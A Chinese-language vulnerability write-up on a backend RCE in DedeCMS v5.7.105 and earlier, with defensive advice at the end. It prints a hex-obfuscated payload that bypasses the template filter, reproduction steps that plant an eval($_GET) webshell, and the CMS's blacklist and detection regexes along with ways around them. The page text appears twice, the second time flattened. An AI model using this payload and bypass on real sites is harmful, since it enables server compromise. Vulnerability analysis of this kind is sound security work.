DedeCMS v5.7 -- 后台RCE漏洞详解
字数 1258 2025-08-24 16:48:16

DedeCMS v5.7 后台RCE漏洞分析与利用指南

漏洞概述

DedeCMS v5.7.105及以下版本存在一个后台远程代码执行(RCE)漏洞,攻击者可以通过精心构造的模板文件和页面创建操作,绕过系统的安全过滤机制,在服务器上写入恶意PHP文件,从而实现任意代码执行。

影响版本

  • DedeCMS v5.7.105及以下所有版本

环境搭建

  1. 下载DedeCMS v5.7.105或更低版本的源码(可从官网或GitHub获取)
  2. 使用phpstudy等工具搭建PHP运行环境
  3. 安装DedeCMS系统

漏洞复现步骤

第一步:创建恶意模板

  1. 登录后台后,进入"模板" -> "默认模板管理"
  2. 点击"新建模板"
  3. 在模板内容框中输入以下经过编码的PHP代码:
<?php
"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('./shell.php', "<?php eva" . "l(\$_GE" . "T[a]);");
  1. 保存模板(例如保存为test.htm

第二步:创建恶意页面

  1. 进入"核心" -> "频道模型" -> "单页文档管理"
  2. 点击"增加一个页面"
  3. 关键配置项:
    • 文件名的后缀必须设置为.php(例如1.php
    • 模板文件名选择之前创建的test.htm
    • "是否编译模板"选项选择"是"或"否"均可

第三步:触发漏洞

  1. 访问创建的PHP页面,例如:
    http://localhost/DedeCMS-V5.7.105-UTF8/uploads/a/1.php
    
  2. 这将在a目录下生成一个shell.php文件,内容为:
    <?php eval($_GET[a]);
    

第四步:验证漏洞

访问生成的shell文件并执行任意PHP代码:

http://localhost/DedeCMS-V5.7.105-UTF8/uploads/a/shell.php?a=phpinfo();

漏洞成因分析

1. 模板过滤机制不完善

uploads/dede/tpl.php文件中,系统对模板内容进行了多重过滤:

// 删除所有注释
$content = preg_replace("/\/\*[\s\S]*(\*\/)/#i", '', $content);

// 禁用函数黑名单
$cfg_disable_funs = 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs .= ',$_GET,$_POST,$_REQUEST,$_FILES,$_COOKIE,$_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filter';

// 检查PHP代码标识
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE) {
    die("DedeCMS提示:当前页面中存在恶意代码!");
}

// 检查函数调用
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) {
    die("DedeCMS提示:当前页面中存在恶意代码!");
}

// 检查反引号命令执行
if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
    die("DedeCMS提示:当前页面中存在恶意代码!");
}

然而,这些过滤可以通过以下方式绕过:

  • 使用十六进制编码函数名(如"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"代替file_put_contents
  • 分割敏感字符串(如"eva" . "l"代替eval
  • 避免直接使用黑名单中的变量名

2. 文件名验证不足

在模板编辑功能中,系统强制要求模板文件必须以.htm结尾:

if(!preg_match("#\.htm$#", $filename)) {
    ShowMsg('DEDE模板文件,文件名必须用.htm结尾!', '-1');
    exit();
}

但在创建页面时,系统没有对生成的文件名进行严格验证,允许用户创建.php文件,这为漏洞利用提供了条件。

3. 模板解析流程

漏洞利用的关键流程:

  1. 创建包含恶意代码的模板文件(.htm
  2. 创建新页面时指定.php后缀
  3. 系统将模板内容写入到.php文件中
  4. 访问该.php文件时执行恶意代码

防御措施

  1. 升级到最新版本:DedeCMS官方已发布修复版本,建议立即升级
  2. 加强输入过滤
    • 对所有用户输入进行严格验证
    • 扩展黑名单过滤规则
    • 禁止十六进制编码的函数调用
  3. 文件权限控制
    • 限制上传目录的执行权限
    • 对生成的文件进行内容检查
  4. 代码审计
    • 定期进行安全审计
    • 关注官方安全公告

总结

该漏洞利用DedeCMS在模板处理和文件创建过程中的多个安全缺陷,通过精心构造的输入绕过过滤机制,最终实现远程代码执行。这提醒我们在Web应用开发中需要实施多层次的安全防护,包括输入验证、输出过滤、权限控制和持续的安全更新。

DedeCMS v5.7 后台RCE漏洞分析与利用指南 漏洞概述 DedeCMS v5.7.105及以下版本存在一个后台远程代码执行(RCE)漏洞,攻击者可以通过精心构造的模板文件和页面创建操作,绕过系统的安全过滤机制,在服务器上写入恶意PHP文件,从而实现任意代码执行。 影响版本 DedeCMS v5.7.105及以下所有版本 环境搭建 下载DedeCMS v5.7.105或更低版本的源码(可从官网或GitHub获取) 使用phpstudy等工具搭建PHP运行环境 安装DedeCMS系统 漏洞复现步骤 第一步:创建恶意模板 登录后台后,进入"模板" -> "默认模板管理" 点击"新建模板" 在模板内容框中输入以下经过编码的PHP代码: 保存模板(例如保存为 test.htm ) 第二步:创建恶意页面 进入"核心" -> "频道模型" -> "单页文档管理" 点击"增加一个页面" 关键配置项: 文件名的后缀必须设置为 .php (例如 1.php ) 模板文件名选择之前创建的 test.htm "是否编译模板"选项选择"是"或"否"均可 第三步:触发漏洞 访问创建的PHP页面,例如: 这将在 a 目录下生成一个 shell.php 文件,内容为: 第四步:验证漏洞 访问生成的shell文件并执行任意PHP代码: 漏洞成因分析 1. 模板过滤机制不完善 在 uploads/dede/tpl.php 文件中,系统对模板内容进行了多重过滤: 然而,这些过滤可以通过以下方式绕过: 使用十六进制编码函数名(如 "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73" 代替 file_put_contents ) 分割敏感字符串(如 "eva" . "l" 代替 eval ) 避免直接使用黑名单中的变量名 2. 文件名验证不足 在模板编辑功能中,系统强制要求模板文件必须以 .htm 结尾: 但在创建页面时,系统没有对生成的文件名进行严格验证,允许用户创建 .php 文件,这为漏洞利用提供了条件。 3. 模板解析流程 漏洞利用的关键流程: 创建包含恶意代码的模板文件( .htm ) 创建新页面时指定 .php 后缀 系统将模板内容写入到 .php 文件中 访问该 .php 文件时执行恶意代码 防御措施 升级到最新版本 :DedeCMS官方已发布修复版本,建议立即升级 加强输入过滤 : 对所有用户输入进行严格验证 扩展黑名单过滤规则 禁止十六进制编码的函数调用 文件权限控制 : 限制上传目录的执行权限 对生成的文件进行内容检查 代码审计 : 定期进行安全审计 关注官方安全公告 总结 该漏洞利用DedeCMS在模板处理和文件创建过程中的多个安全缺陷,通过精心构造的输入绕过过滤机制,最终实现远程代码执行。这提醒我们在Web应用开发中需要实施多层次的安全防护,包括输入验证、输出过滤、权限控制和持续的安全更新。